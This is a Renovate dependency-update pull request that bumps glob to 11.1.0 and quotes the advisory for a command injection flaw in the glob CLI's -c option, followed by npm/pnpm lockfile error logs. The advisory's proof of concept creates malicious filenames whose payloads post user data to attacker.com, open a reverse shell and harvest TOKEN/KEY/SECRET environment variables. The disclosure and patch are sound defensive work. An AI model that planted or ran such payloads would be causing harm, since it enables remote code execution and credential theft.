chore: update dependency glob to v11.1.0 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
glob	11.0.3 -> 11.1.0

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

1. User runs glob -c <command> <pattern>
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using shell: true
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally
• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
• A new file injected_poc is created, proving command execution
• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository
• CI pipeline uses glob -c to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use glob -c for file processing
• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.3.7 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.3.7 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to [email protected] or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results.

---

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source

---

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: packages/charts/package-lock.json

npm warn Unknown env config "store". This will stop working in the next major version of npm.
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @types/[email protected]
npm error Found: @types/[email protected]
npm error node_modules/@types/react
npm error   dev @types/react@"^18.3.26" from the root project
npm error   peer @types/react@">=16" from @mdx-js/[email protected]
npm error   node_modules/@mdx-js/react
npm error     @mdx-js/react@"^3.0.0" from @storybook/[email protected]
npm error     node_modules/@storybook/addon-docs
npm error       dev @storybook/addon-docs@"9.0.18" from the root project
npm error   2 more (@types/hoist-non-react-statics, react-intl)
npm error
npm error Could not resolve dependency:
npm error peer @types/react@"^19.2.0" from @types/[email protected]
npm error node_modules/@types/react-dom
npm error   dev @types/react-dom@"^19.1.11" from the root project
npm error
npm error Conflicting peer dependency: @types/[email protected]
npm error node_modules/@types/react
npm error   peer @types/react@"^19.2.0" from @types/[email protected]
npm error   node_modules/@types/react-dom
npm error     dev @types/react-dom@"^19.1.11" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2025-11-18T08_38_26_316Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2025-11-18T08_38_26_316Z-debug-0.log

File name: pnpm-lock.yaml

Scope: all 4 workspace projects
Progress: resolved 1, reused 0, downloaded 0, added 0
/tmp/renovate/repos/github/kufu/smarthr-ui/packages/charts:
 ERR_PNPM_NO_MATCHING_VERSION  No matching version found for [email protected] published by Sat Nov 15 2025 08:38:42 GMT+0000 (Coordinated Universal Time) while fetching it from https://registry.npmjs.org/. Version 11.1.0 satisfies the specs but was released at Mon Nov 17 2025 17:02:17 GMT+0000 (Coordinated Universal Time)

This error happened while installing a direct dependency of /tmp/renovate/repos/github/kufu/smarthr-ui/packages/charts

The latest release of glob is "12.0.0". Published at 11/17/2025 5:10:25 PM

Other releases are:
  * legacy: 4.5.3 published at 3/13/2015
  * v7-legacy: 7.2.0 published at 9/22/2021
  * legacy-v10: 10.5.0 published at 11/18/2025 1:34:51 AM

If you need the full list of all 161 published versions run "$ pnpm view glob versions".

If you want to install the matched version ignoring the time it was published, you can add the package name to the minimumReleaseAgeExclude setting. Read more about it: https://pnpm.io/settings#minimumreleaseageexclude